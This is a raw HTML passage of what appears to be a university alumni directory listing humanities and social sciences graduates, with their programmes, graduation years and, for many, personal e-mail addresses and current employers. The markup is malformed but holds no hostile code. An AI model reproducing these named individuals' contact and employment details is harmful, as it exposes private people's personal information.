margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor) &nbsp;&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan İbrahimova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor) &nbsp;&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Mammadzade&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aytaj Mammadzade&nbsp;</strong>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology &nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Agha Asgarov&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aftandil Geysarzade</strong>&nbsp;&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan Shirmammadova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aytaj Taghiyeva&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Alizade&nbsp;</strong>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aygul Aliyeva &nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Omarli&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aida Gasimova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ayshan Savadova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Lazimbayli&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">World Political Processes</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master&nbsp;2013&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Huseynova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aida Babayeva&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan Karimova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Linguistics&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Master </strong>2013&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan Khasmammadova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Clinical Psychology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2014&nbsp;(Honor&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aygun Gurbanova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master 2012&nbsp;(Honor&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Asmar Azizzade&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2008&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Asad Asadzade&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><h3 id=\"B\">B</h3><p><strong>Bayram Hasanov </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:bayramhesen@mail.ru\">bayramhesen[at]mail.ru</a></p>\r\n<p>&nbsp;In a military service</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"D\"><strong>D</strong></h3><p><strong>Dashgin Mammadov </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Dasqin.memmedov@list.ru\">Dasqin.memmedov[at]list.ru</a></p>\r\n<p>In a military service</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Davud Gadashli&nbsp;</strong>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Translation Studies&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"E\">E</h3><br><p><strong>Emiliya Habibova </strong></p><p>School of Humanities and Social Sciences</p>\r\n<p>Area Studies, 2017</p>\r\n<p>E-mail: <a href=\"mailto:emily.95@yandex.ru\">emily.95[at]yandex.ru</a> &nbsp;</p>\r\n<p>UN Office in Azerbaijan</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Elchin Tahirli</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Politology, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Elchin_085@hotmail.com\">Elchin_085[at]hotmail.com</a>&nbsp;&nbsp; &nbsp;</p>\r\n<p>In a military service</p>\r\n<p><br></p><p><strong>Emil Gulmuradov</strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Translation, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gulmuradovemil@gamil.com\">gulmuradovemil[at]gamil.com</a> &nbsp;</p>\r\n<p>In a military service</p>\r\n<p><strong><br></strong></p><p><strong>Elza Aliyeva </strong></p>\r\n<p>School of Humanities and Social Sciences</p>\r\n<p>Linguistics, 2017</p>\r\n<p>E-mail: <a href=\"mailto:elza.aliyeva.r@gmail.com\">elza.aliyeva.r[at]gmail.com</a></p>\r\n<p>Study abroad</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnur Taghiyev&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011 (Honor)</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elkhan Kasimov&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Relations</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin Narimanov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Engin LTD, logistics specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:elvinnarimanov@aol.com\">elvinnarimanov@aol.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:elvinnarimanov@aol.com\"></a>Bachelor 2013</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmar Baghirov</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Ministry of Foreign Affairs, 3rd secretary</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Elmarbaghirov@gmail.com\">Elmarbaghirov@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Elmarbaghirov@gmail.com\"></a>Bachelor 2011</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnur Atayev</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences, Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Sabirabad\r\nDistrict “Asan Khidmat”, Career and Training Specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elnur.atayev@gmail.com\">elnur.atayev@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Eynura Nasibova</strong>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elgun&nbsp;Seyidov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Sport\r\ncorrespondent</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:e.seyid1987@mail.ru\">e.seyid1987@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"F\">F</h3><p><strong>Fidan Huseynli </strong></p><p>School of Humanities and Social Sciences&nbsp;\r\n</p>\r\n<p>English Language and Literature, 2017</p>\r\n<p>E-mail: <a href=\"mailto:fidan_995@bk.ru\">fidan_995[at]bk.ru</a></p>  <embed href=\"mailto:zeyneb.zz21@gmail.com\" id=\"Z\" noshade=\"noshade\" target=\"_blank\" type=\"application/x-shockwave-flash\">\"&gt;<strong><br></strong><br><embed href=\"mailto:zeyneb.zz21@gmail.com\" id=\"Z\" noshade=\"noshade\" src=\"http://khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\" rel=\"media12361598979556332\" width=\"150\" target=\"_blank\" type=\"application/x-shockwave-flash\">\"&gt;<strong>Fasli Nabiyev</strong><br><p>School of Humanities and Social Sciences</p><p>Politology, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:faslinabiyev@gmail.com\">faslinabiyev[at]gmail.com</a></p><p>New Azerbaijan party, Binagadi District Department, chair of Youth Union&nbsp;</p><p>Education: ADA University, Public Administration (MA)&nbsp;</p><p><strong><br></strong></p><p><strong>Fatima Karimli</strong></p><p>School of Humanities and Social Sciences</p><p>Translation, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:fatimaeamp@yahoo.com\">fatimaeamp[at]yahoo.com</a>&nbsp;&nbsp;</p><p><strong><br></strong></p><p><strong>Fatima Abdullayeva</strong></p><p>School of Humanities and Social Sciences</p><p>Translation, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:fatyaabdullayeva01@gmail.com\">fatyaabdullayeva01[at]gmail.com</a></p><p>&nbsp;The HR Company HRC, Business Development Manager Assistant</p><p><strong><br></strong></p><p><strong>Fakhriyya Nasirzade</strong></p><p>School of Humanities and Social Sciences</p><p>Psychology, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:nasirzade.faxriya@gmail.com\">nasirzade.faxriya[at]gmail.com</a></p><p>Beykent University-&nbsp;Clinic psychology MA</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farida Ocagova&nbsp;&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011 (Honor)</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Faiz Taghiyev&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fatima Bayramova&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fargana Vilayatli&nbsp;&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Firdovsi Hajiyev&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Journalism&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2011</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Jafarli-Maharramli&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology &nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farida Asadova&nbsp;</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Psychology &nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2012&nbsp;(Honor)&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farid&nbsp;Gasimov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Ministry of Defence Industry of Azerbaijan Republic</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Faridqasimov525@mail.ru\">Faridqasimov525@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Faridqasimov525@mail.ru\"></a>2012</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Jafarzada</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Fidan.jfr@gmail.com\">Fidan.jfr@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Fidan.jfr@gmail.com\"></a>Bachelor 2015</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farhad&nbsp;Ahmadov&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Politology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">AZAL QSC</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:jasonbourne575@gmail.com\">jasonbourne575@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:jasonbourne575@gmail.com\"></a>2012</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fargana&nbsp;Huseynova&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Humanities and Social Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Area Studies</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İnstructor at Avrasiya Universitety</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Ferganehuseynova@yahoo.com\">Ferganehuseynova@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Ferganehuseynova@yahoo.com\"></a>2011</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"\" 